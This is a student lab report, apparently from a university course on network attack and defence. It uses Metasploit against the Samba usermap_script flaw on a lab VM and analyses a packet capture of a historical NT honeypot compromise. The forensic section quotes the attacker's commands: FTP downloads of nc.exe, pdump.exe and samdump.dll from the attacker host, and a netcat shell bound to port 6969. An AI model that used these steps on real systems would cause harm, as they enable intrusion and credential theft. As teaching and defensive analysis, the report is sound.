20212818 2021-2022-2 《网络攻防实践》实践六报告

一、实践内容

1、metasploit软件

(1)metasploit简介

  metasploit框架,即msf,是一个用于渗透测试的开源工具, 可以理解为如果你是一名电工,要修理电器的话,而msf就相当于是你完备的工具箱。

(2)metasploit用途

  我们可以通过使用msf的所有插件,如payload、exploit、post模块等,直接对一个网站、主机进行渗透测试,也可以通过命令行下输入msfconsole使用nmap、sqlmap等第三方程序

(3)metasploit的专业术语

  • auxiliaries(辅助模块)

  该模块不会在测试者和被测试者之间建立访问连接,只负责指纹扫描、嗅探、执行扫描等相关功能用以辅助测试。

  • exploit(漏洞利用模块)

  漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术有: 缓冲区溢出、web应用程序攻击、以及利用配置错误 ,其中包括攻击者针对系统中的漏洞而设计的各种poc验证程序,破坏系统安全性的攻击代码。

  • payload(攻击载荷模块)

  攻击载荷是我们期望系统目标在被渗透之后实际完成实际攻击的代码,成功渗透目标后, 用于在目标系统运行任意命令或执行特定代码。也可以是简单在目标操作系统上执行一些如添加用户的命令。

  • post(后期渗透模块)

  该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作。如获取敏感信息、实施跳板攻击等。

  • encoders(编码工具模块)

  该模块在渗透测试中负责免杀,防备杀毒软件等安全软件检测出来。

2、Linux操作系统安全机制

(1) Linux身份认证机制

  • 通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全的使用Linux操作系统。

    Root根用户:唯一拥有至高无上权限的超级用户

    普通用户:普通

    系统用户:不具有登录能力,但系统运行时不可缺少

  • 用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。

    用户组信息保存再系统的/etc/group文件中,包括用户组名称、gid及用户组所包含的用户名列表,用户组加密口令保存在/etc/gshadow文件中。

    id -a 命令可以查询和显示当前用户所属组,并通过 groupadd 命令添加用户组,使用 usermod -G group_name user_name 向特定组来添加用户。

  • 本地登录用户认证机制:最基本的用户认证机制。
  • 远程登陆用户认证机制:使用SSH服务来进行远程用户登录与网路访问,SSH提供两种方式的用户认证机制:基于口令、基于非对称密钥。
  • 统一身份认证中间件——PAM:给不同的应用软件、网络服务提供统一的身份认证机制。
  • 认证管理:接受用户名和密码,进而对该用户的密码进行认证,并负责设置用户的一些秘密信息。
  • 账户管理:检查账户是否被允许登录系统,账号是否已经过期,账号的登录是否有时间段的限制等。
  • 密码管理:用来修改用户的密码。
  • 会话管理:提供会话的管理和审计。

(2) Linux授权与访问控制机制

  • Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其他类型系统的管理。

  • 文件的所有者
  • 文件的访问权限:R:读取;W:写入;X:执行
  • 文件的特殊执行权限:再系统文件访问权限执行位上,有一类“特权”。

    SUID:允许可执行文件在运行时刻从运行者身份提升至文件所有者权限

    SGID:执行时是以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源。

(3)Linux安全审计机制

  • 主要通过三个主要的日志子系统来实现,包括:

    连接实践日志:由多个程序执行

    进程统计日志:由系统内核执行

    错误日志记录:由通用的日志记录服务syslogd(8)执行

3、渗透攻击步骤

  • 扫描目标主机,寻找可用漏洞
  • 选择并配置一个漏洞利用模块
  • 选择并配置一个攻击载荷模块
  • 选择一个编码技术,用来绕过杀毒软件的查杀
  • 渗透攻击

二、实践过程

 任务一:动手实践Metasploit windows attacker

  • 任务:使用metasploit软件进行windows远程渗透统计实验

  • 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

  在kali中通过命令msfconsole启动渗透软件。

   然后搜索漏洞:search usermap,搜索结果如下图,可以看出这是针对这个漏洞的渗透攻击模块。

  通过命令use exploit/multi/samba/usermap_script来进行对应脚本的攻击,并show payloads来获取攻击负载模块。

 

   使用指令set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷(18号cmd/unix/reverse,后面的描述显示是基于telnet协议的负载模块)。

 

   这里使用靶机Metasploitable_ubuntu,IP地址为192.168.200.123,使用攻击机kali,IP地址为:192.168.200.4。使用指令set rhost 192.168.200.123设置靶机地址,使用指令set lhost 192.168.200.4设置攻击机地址。

 

 

 

 

 

 

 

 

 

  使用指令show options查看payload状态,确认信息设置是否正确。

   通过exploit开始攻击,使用命令whomai查看当前权限账户,并命令ifconfig查看当前IP地址

 

 

任务二:取证分析实践:解码一次成功的NT系统破解攻击。

  • 来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

    • 攻击者使用了什么破解工具进行攻击

    • 攻击者如何使用这个破解工具进入并控制了系统

    • 攻击者获得系统访问权限后做了什么

    • 我们如何防止这样的攻击

    • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

  从云班课下载日志文件,在kali的wireshark中打开日志文件:

 

   根据题目输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106筛选一下有这两个IP地址的信息,发现攻击机建立连接后进行HTTP访问。

 

   找到117条,可发现攻击者进行了Http访问,主机系统为Win NT5.0

 

 

   可以从下图看出第117条记录中信息可以说知道攻击机在首先http://lab.wiretrip.net/guest/default.asp进行了Unicode编码攻击并打开了NT系统启动文件 boot.ini。

 

 

   由下图可知,第130,140,149条记录都有msadc

 

 

   追踪149条记录,有select语句可以发现攻击者在进入SQL注入攻击,通过查找特征码ADM!ROX!YOUR!WORLD可以知道攻击是由msadc(2).pl渗透攻击代码发起的。

 

 

 

  将筛选条件改为ip.src == 213.116.251.162 && ip.dst == 172.16.1.106 && http.request.method == "POST"后,依次追踪TCP流,可观察到一些cmd指令,首先观察到cmd /c echo user johna2k > ftpcom,可知攻击者创建了一个ftpcom脚本。

 

   追踪第299条记录发现攻击者曾试图攻击但登陆失败。

 

  在第1106号记录处,FTP连接成功,在FTP连接成功前的指令有如下指令等:
  c echo open 213.116.251.162 >ftpcom
  c echo johna2k >>ftpcom
  c echo haxedj00 >>ftpcom
  c echo get nc.exe >>ftpcom
  c echo get pdump.exe >>ftpcom
  c echo get samdump.dll >>ftpcom
  c echo quit >>ftpcom
  可知道攻击者应该是想下载samdump.dll、pdump.exe和nc.exe这三个文件。

 

  追踪1224条TCP,在第1224条记录中,可以看到攻击者执行了cmd1.exe /c nc -l -p 6969 -e cmd1.exe这条指令,可以显示攻击者已经连接上了6969这个端口,并已经可以访问。

 

 

  •  我们如何防止这样的攻击

 如果我们想预防这样攻击,我们应该尽量的去及时的更新操作系统的各种补丁,并尽量采用稳定版系统,降低新功能所造成的不安全风险。

  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

攻击者一经发现这这台目标主机为蜜罐主机,因为在追踪第4351条记录的TCP流时可以看到如下图所示的攻击者留下的语句。

 

 

任务三:团队对抗实践:windows系统远程渗透攻击和分析。

  • 攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)

  • 防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

 

  攻击过程与任务一相同,开始exploit攻击后进入wireshark进行监听。

 

 

 

 

从抓包中可得到如下分析和结果:
攻击机IP地址192.168.200.4;目标地址192.168.200.124;
源端口4444;目标端口1042;
攻击发起时间:从ARP协议的询问开始

三、学习中遇到的问题及解决

 

问题1:在任务一中exploit时,刚开始总是失败。

解决:后面发现是攻击机的IP地址写错了,太粗心了。

 

四、实践总结

  通过这次实验,增强了自己的实践动手能力,感觉网络攻防这门课需要学习的东西有很多很多,通过这些学习我也能掌握更多的知识,运用更多的工具,希望在接下来的时间中也能有这样的体会。

 

posted @ 2022-04-24 22:40  蔡蔡文姬  阅读(25)  评论(0编辑  收藏  举报